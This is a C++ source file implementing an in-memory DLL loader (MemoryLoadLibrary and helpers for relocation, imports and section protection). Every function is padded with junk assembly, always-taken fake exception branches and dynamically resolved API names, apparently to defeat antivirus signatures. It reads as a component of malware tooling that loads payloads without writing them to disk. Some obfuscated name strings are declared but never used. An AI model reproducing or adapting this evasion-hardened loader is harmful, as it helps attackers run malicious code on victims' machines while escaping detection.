2024-06-23 17:36:53 +08:00

1171 lines
22 KiB
C++

#pragma warning( disable : 4311 4312 )
#include <Windows.h>
#include <winnt.h>
#include <Windows.h>
#include <TCHAR.H>
typedef void *HMEMORYMODULE;
#ifdef __cplusplus
extern "C" {
#endif
HMEMORYMODULE MemoryLoadLibrary(const void *);
FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
void MemoryFreeLibrary(HMEMORYMODULE);
#ifdef __cplusplus
}
#endif
typedef struct {
PIMAGE_NT_HEADERS headers;
unsigned char *codeBase;
HMODULE *modules;
int numModules;
int initialized;
} MEMORYMODULE, *PMEMORYMODULE;
typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
///-------------------------------------------MyFunctions
__declspec(naked) char __fastcall upcaseA(char c)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
__asm
{
mov al, cl
cmp al, 'a'
jl m1
cmp al, 'z'
jg m1
and al, 0xdf
m1:
retn
}
}
int __fastcall strcmpiA(const char *s1, const char *s2)
{
try
{
if(1+1==2)throw 45;
}
catch (...)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
unsigned long k = 0;
unsigned char c1, c2;
do
{
c1 = upcaseA(s1[k]);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
c2 = upcaseA(s2[k]);
if (c1 > c2)
{
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
return 1;
}
else if (c1 < c2)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
return -1;
};
_asm nop;
_asm nop;
_asm nop;
k++;
} while ((c1 | c2) != 0);
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
}
return 0;
}
typedef BOOL
(WINAPI
*HeapFreeT)(
__inout HANDLE hHeap,
__in DWORD dwFlags,
__deref LPVOID lpMem
);
typedef HANDLE
(WINAPI
*GetProcessHeapT)(
VOID
);
void myfree(void *p)
{
char AOiHr[] = {'H','e','a','p','F','r','e','e','\0'};
char dcCRF[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
HeapFreeT pHeapFree=(HeapFreeT)GetProcAddress(LoadLibrary("kernel32.dll"),"HeapFree");
char GWcOq[] = {'G','e','t','P','r','o','c','e','s','s','H','e','a','p','\0'};
GetProcessHeapT pGetProcessHeap=(GetProcessHeapT)GetProcAddress(LoadLibrary(dcCRF),GWcOq);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
try
{
if(1+1==2)throw 99;
}
catch (...)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
pHeapFree(pGetProcessHeap(), 0, p);}
}
////------------------------------------
typedef LPVOID
(WINAPI
*VirtualAllocT)(
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
static void CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
char uitgn[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char qyasB[] = {'V','i','r','t','u','a','l','A','l','l','o','c','\0'};
VirtualAllocT pVirtualAlloc=(VirtualAllocT)GetProcAddress(LoadLibrary("kernel32.dll"),"VirtualAlloc");
_asm nop;
_asm nop;
_asm nop;
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
int i, size;
unsigned char *codeBase = module->codeBase;
unsigned char *dest;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
try
{
if(1+1==2)throw 80;
}
catch (...)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
{
if (section->SizeOfRawData == 0)
{
// section doesn't contain data in the dll itself, but may define
// uninitialized data
size = old_headers->OptionalHeader.SectionAlignment;
if (size > 0)
{
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
size,
MEM_COMMIT,
PAGE_READWRITE);
section->Misc.PhysicalAddress = (DWORD)dest;
memset(dest, 0, size);
}
// section is empty
continue;
}
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
// commit memory block and copy data from dll
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
section->SizeOfRawData,
MEM_COMMIT,
PAGE_READWRITE);
try
{
if(1+1==2)throw 85;
}
catch (...)
{
memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
}
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
section->Misc.PhysicalAddress = (DWORD)dest;
}
}
}
typedef LPVOID
(WINAPI
*HeapReAllocT)(
__inout HANDLE hHeap,
__in DWORD dwFlags,
__deref LPVOID lpMem,
__in SIZE_T dwBytes
);
typedef LPVOID
(WINAPI
*HeapAllocT)(
__in HANDLE hHeap,
__in DWORD dwFlags,
__in SIZE_T dwBytes
);
typedef HANDLE
(WINAPI
*GetProcessHeapT)(
VOID
);
void *myrealloc(void *p, size_t size)
{
try
{
if(1+1==2)throw 85;
}
catch (...)
{
char lygUR[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char gfKIk[] = {'H','e','a','p','R','e','A','l','l','o','c','\0'};
HeapReAllocT pHeapReAlloc=(HeapReAllocT)GetProcAddress(LoadLibrary("kernel32.dll"),"HeapReAlloc");
char nGOQF[] = {'H','e','a','p','A','l','l','o','c','\0'};
HeapAllocT pHeapAlloc=(HeapAllocT)GetProcAddress(LoadLibrary("kernel32.dll"),"HeapAlloc");
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
char GWcOq[] = {'G','e','t','P','r','o','c','e','s','s','H','e','a','p','\0'};
GetProcessHeapT pGetProcessHeap=(GetProcessHeapT)GetProcAddress(LoadLibrary("kernel32.dll"),"GetProcessHeap");
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
if (p)
return pHeapReAlloc(pGetProcessHeap(), 0, p, size);
else
return pHeapAlloc(pGetProcessHeap(), 0, size);}
}
// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] =
{
{
// not executable
{PAGE_NOACCESS, PAGE_WRITECOPY},
{PAGE_READONLY, PAGE_READWRITE},
}, {
// executable
{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
{PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
},
};
typedef BOOL
(WINAPI
*VirtualFreeT)(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD dwFreeType
);
typedef BOOL
(WINAPI
*VirtualProtectT)(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
);
static void FinalizeSections(PMEMORYMODULE module)
{
VirtualFreeT pVirtualFree=(VirtualFreeT)GetProcAddress(LoadLibrary("kernel32.dll"),"VirtualFree");
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
char nOVLO[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t','\0'};
VirtualProtectT pVirtualProtect=(VirtualProtectT)GetProcAddress(LoadLibrary("kernel32.dll"),"VirtualProtect");
int i;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
try
{
if(1+1==2)throw 64;
}
catch (...)
{
// loop through all sections and change access flags
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
{
DWORD protect, oldProtect, size;
int executable = (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
int readable = (section->Characteristics & IMAGE_SCN_MEM_READ) != 0;
int writeable = (section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
if (section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)
{
// section is not needed any more and can safely be freed
VirtualFree((LPVOID)section->Misc.PhysicalAddress, section->SizeOfRawData, MEM_DECOMMIT);
continue;
}
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// determine protection flags based on characteristics
protect = ProtectionFlags[executable][readable][writeable];
if (section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
protect |= PAGE_NOCACHE;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// determine size of region
size = section->SizeOfRawData;
if (size == 0)
{
if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
size = module->headers->OptionalHeader.SizeOfInitializedData;
else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
size = module->headers->OptionalHeader.SizeOfUninitializedData;
}
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
if (size > 0)
{
// change memory access flags
if (pVirtualProtect((LPVOID)section->Misc.PhysicalAddress, section->SizeOfRawData, protect, &oldProtect) == 0)
{
//OutputLastError("Error protecting memory page");
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
}
}
}}
}
static void PerformBaseRelocation(PMEMORYMODULE module, DWORD delta)
{
DWORD i;
unsigned char *codeBase = module->codeBase;
_asm nop;
_asm nop;
_asm nop;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (directory->Size > 0)
{
PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress);
for (; relocation->VirtualAddress > 0; )
{
unsigned char *dest = (unsigned char *)(codeBase + relocation->VirtualAddress);
unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++)
{
DWORD *patchAddrHL;
int type, offset;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// the upper 4 bits define the type of relocation
type = *relInfo >> 12;
// the lower 12 bits define the offset
offset = *relInfo & 0xfff;
_asm nop;
_asm nop;
_asm nop;
try
{
if(1+1==2)throw 34;
}
catch (...)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
// skip relocation
break;
case IMAGE_REL_BASED_HIGHLOW:
// change complete 32 bit address
patchAddrHL = (DWORD *)(dest + offset);
*patchAddrHL += delta;
break;
default:
//printf("Unknown relocation: %d\n", type);
break;
}}
}
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// advance to next relocation block
relocation = (PIMAGE_BASE_RELOCATION)(((DWORD)relocation) + relocation->SizeOfBlock);
}
}
}
typedef BOOL
(WINAPI
*IsBadReadPtrT)(
__in_opt CONST VOID *lp,
__in UINT_PTR ucb
);
static int BuildImportTable(PMEMORYMODULE module)
{
// return 0;//201
try
{
if(1+1==2)throw 69;
}
catch (...)
{
char scfXK[] = {'I','s','B','a','d','R','e','a','d','P','t','r','\0'};
char eYhRS[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
IsBadReadPtrT pIsBadReadPtr=(IsBadReadPtrT)GetProcAddress(LoadLibrary(eYhRS),scfXK);
// return 0;//202
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
int result=1;
unsigned char *codeBase = module->codeBase;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (directory->Size > 0)
{
// return 0;//203
PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress);
for (; !pIsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++)
{
// return 0;//204
DWORD *thunkRef, *funcRef;
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
HMODULE handle = LoadLibraryA((LPCSTR)(codeBase + importDesc->Name));
if (handle == INVALID_HANDLE_VALUE)
{
// OutputDebugString(_T("Can't load library"));
result = 0;
break;
}
// return 0;//205
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
module->modules = (HMODULE *)myrealloc(module->modules, (module->numModules+1)*(sizeof(HMODULE)));
if (module->modules == NULL)
{
result = 0;
break;
}
// return 0;//206
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
module->modules[module->numModules++] = handle;
if (importDesc->OriginalFirstThunk)
{
thunkRef = (DWORD *)(codeBase + importDesc->OriginalFirstThunk);
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
funcRef = (DWORD *)(codeBase + importDesc->FirstThunk);
} else
{
// no hint table
thunkRef = (DWORD *)(codeBase + importDesc->FirstThunk);
funcRef = (DWORD *)(codeBase + importDesc->FirstThunk);
}
// return 0;//207
for (; *thunkRef; thunkRef++, funcRef++)
{
if IMAGE_SNAP_BY_ORDINAL(*thunkRef)
*funcRef = (DWORD)GetProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
else {
_asm nop;
_asm nop;
_asm nop;
_asm nop;
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + *thunkRef);
*funcRef = (DWORD)GetProcAddress(handle, (LPCSTR)&thunkData->Name);
}
// return 0;//208
try
{
if(1+1==2)throw 66;
}
catch (...)
{
if (*funcRef == 0)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
result = 0;
break;
}
}
// return 0;//209
}
//return 0;//210
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
if (!result)
break;
// return 0;//211
}
}
// return 0;//212
return result;}
}
typedef LPVOID
(WINAPI
*HeapAllocT)(
__in HANDLE hHeap,
__in DWORD dwFlags,
__in SIZE_T dwBytes
);
typedef LPVOID
(WINAPI
*VirtualAllocT)(
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
typedef HANDLE
(WINAPI
*GetProcessHeapT)(
VOID
);
HMEMORYMODULE MemoryLoadLibrary(const void *data)
{
try
{
if(1+1==2)throw 48;
}
catch (...)
{
char lygUR[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char nGOQF[] = {'H','e','a','p','A','l','l','o','c','\0'};
HeapAllocT pHeapAlloc=(HeapAllocT)GetProcAddress(LoadLibrary("kernel32.dll"),"HeapAlloc");
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
char uitgn[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char qyasB[] = {'V','i','r','t','u','a','l','A','l','l','o','c','\0'};
VirtualAllocT pVirtualAlloc=(VirtualAllocT)GetProcAddress(LoadLibrary("kernel32.dll"),"VirtualAlloc");
// return 0;//7
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
char GWcOq[] = {'G','e','t','P','r','o','c','e','s','s','H','e','a','p','\0'};
GetProcessHeapT pGetProcessHeap=(GetProcessHeapT)GetProcAddress(LoadLibrary("kernel32.dll"),GWcOq);
// return 0;//8
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
PMEMORYMODULE result;
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS old_header;
unsigned char *code, *headers;
DWORD locationDelta;
DllEntryProc DllEntry;
BOOL successfull;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
dos_header = (PIMAGE_DOS_HEADER)data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
{ _asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
// OutputDebugString(_T("Not a valid executable file.\n"));
return NULL;
}
old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
if (old_header->Signature != IMAGE_NT_SIGNATURE)
{
// OutputDebugString(_T("No PE header found.\n"));
return NULL;
}
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
// reserve memory for image of library
code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
old_header->OptionalHeader.SizeOfImage, MEM_RESERVE, PAGE_READWRITE);
if (code == NULL)
// try to allocate memory at arbitrary position
code = (unsigned char *)VirtualAlloc(NULL, old_header->OptionalHeader.SizeOfImage, MEM_RESERVE, PAGE_READWRITE);
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
if (code == NULL)
{
// OutputDebugString(_T("Can't reserve memory"));
return NULL;
}
_asm nop;
_asm nop;
_asm nop;
_asm nop;
result = (PMEMORYMODULE)pHeapAlloc(pGetProcessHeap(), 0, sizeof(MEMORYMODULE));
result->codeBase = code;
result->numModules = 0;
result->modules = NULL;
result->initialized = 0;
// return 0;//14
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// XXX: is it correct to commit the complete memory region at once?
// calling DllEntry raises an exception if we don't...
VirtualAlloc(code,
old_header->OptionalHeader.SizeOfImage,
MEM_COMMIT,
PAGE_READWRITE);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// commit memory for headers
headers = (unsigned char *)pVirtualAlloc(code,
old_header->OptionalHeader.SizeOfHeaders,
MEM_COMMIT,
PAGE_READWRITE);
// return 0;//16
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// copy PE header to code
memcpy(headers, dos_header, dos_header->e_lfanew + old_header->OptionalHeader.SizeOfHeaders);
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
// update position
result->headers->OptionalHeader.ImageBase = (DWORD)code;
// copy sections from DLL file block to new memory location
CopySections((const unsigned char *)data, old_header, result);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// adjust base address of imported data
locationDelta = (DWORD)(code - old_header->OptionalHeader.ImageBase);
if (locationDelta != 0)
PerformBaseRelocation(result, locationDelta);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// load required dlls and adjust function table of imports
if (!BuildImportTable(result));
//goto error;
// return 0;//20
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// mark memory pages depending on section headers and release
// sections that are marked as "discardable"
FinalizeSections(result);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
// get entry point of loaded library
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0)
{
//
DllEntry = (DllEntryProc)(code + result->headers->OptionalHeader.AddressOfEntryPoint);
_asm nop;
_asm nop;
_asm nop;
// return 0;//223
// notify library about attaching to process
successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
//
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
result->initialized = 1;
//return 0;//22
}
return (HMEMORYMODULE)result;
error:
// cleanup
//
//
_asm nop;
_asm nop;
_asm nop;
MemoryFreeLibrary(result);}
return NULL;
}
FARPROC MemoryGetProcAddress(HMEMORYMODULE module, const char *name)
{
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
int idx=-1;
DWORD i, *nameRef;
WORD *ordinal; _asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
try
{
if(1+1==2)throw 77;
}
catch (...)
{
if (directory->Size == 0)
// no export table found
return NULL;
exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress);
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0)
// DLL doesn't export anything
return NULL;
_asm nop;
// search function name in list of exported names
nameRef = (DWORD *)(codeBase + exports->AddressOfNames);
ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals);
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++)
if (strcmpiA(name, (const char *)(codeBase + *nameRef)) == 0)
{
idx = *ordinal;
break;
}
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
if (idx == -1)
// exported symbol not found
return NULL;
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
if ((DWORD)idx > exports->NumberOfFunctions)
// name <-> ordinal number don't match
return NULL;
// // AddressOfFunctions contains the RVAs to the "real" functions
return (FARPROC)(codeBase + *(DWORD *)(codeBase + exports->AddressOfFunctions + (idx*4))); }
}
typedef BOOL
(WINAPI
*HeapFreeT)(
__inout HANDLE hHeap,
__in DWORD dwFlags,
__deref LPVOID lpMem
);
typedef BOOL
(WINAPI
*VirtualFreeT)(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD dwFreeType
);
typedef HANDLE
(WINAPI
*GetProcessHeapT)(
VOID
);
void MemoryFreeLibrary(HMEMORYMODULE mod)
{
HeapFreeT pHeapFree=(HeapFreeT)GetProcAddress(LoadLibrary("kernel32.dll"),"HeapFree");
_asm nop;
_asm nop;
_asm nop;
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
char GdcJG[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char BdPGX[] = {'V','i','r','t','u','a','l','F','r','e','e','\0'};
VirtualFreeT pVirtualFree=(VirtualFreeT)GetProcAddress(LoadLibrary(GdcJG),BdPGX);
GetProcessHeapT pGetProcessHeap=(GetProcessHeapT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetProcessHeap");
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
int i;
PMEMORYMODULE module = (PMEMORYMODULE)mod;
_asm nop;
_asm nop;
try
{
if(1+1==2)throw 68;
}
catch (...)
{
//return ;//llllllllllllllllllllllllllllll
if (module != NULL)
{
if (module->initialized != 0)
{
// notify library about detaching from process
DllEntryProc DllEntry = (DllEntryProc)(module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
(*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
module->initialized = 0;
}
_asm nop;
_asm nop;
_asm nop;
if (module->modules != NULL)
{
// free previously opened libraries
for (i=0; i<module->numModules; i++)
if (module->modules[i] != INVALID_HANDLE_VALUE)
FreeLibrary(module->modules[i]);
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
myfree(module->modules);
}
_asm inc eax;
_asm dec ebx;
_asm dec eax;
_asm inc ebx;
if (module->codeBase != NULL)
// release memory of library
pVirtualFree(module->codeBase, 0, MEM_RELEASE);
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
_asm nop;
pHeapFree(pGetProcessHeap(), 0, module);
}}
}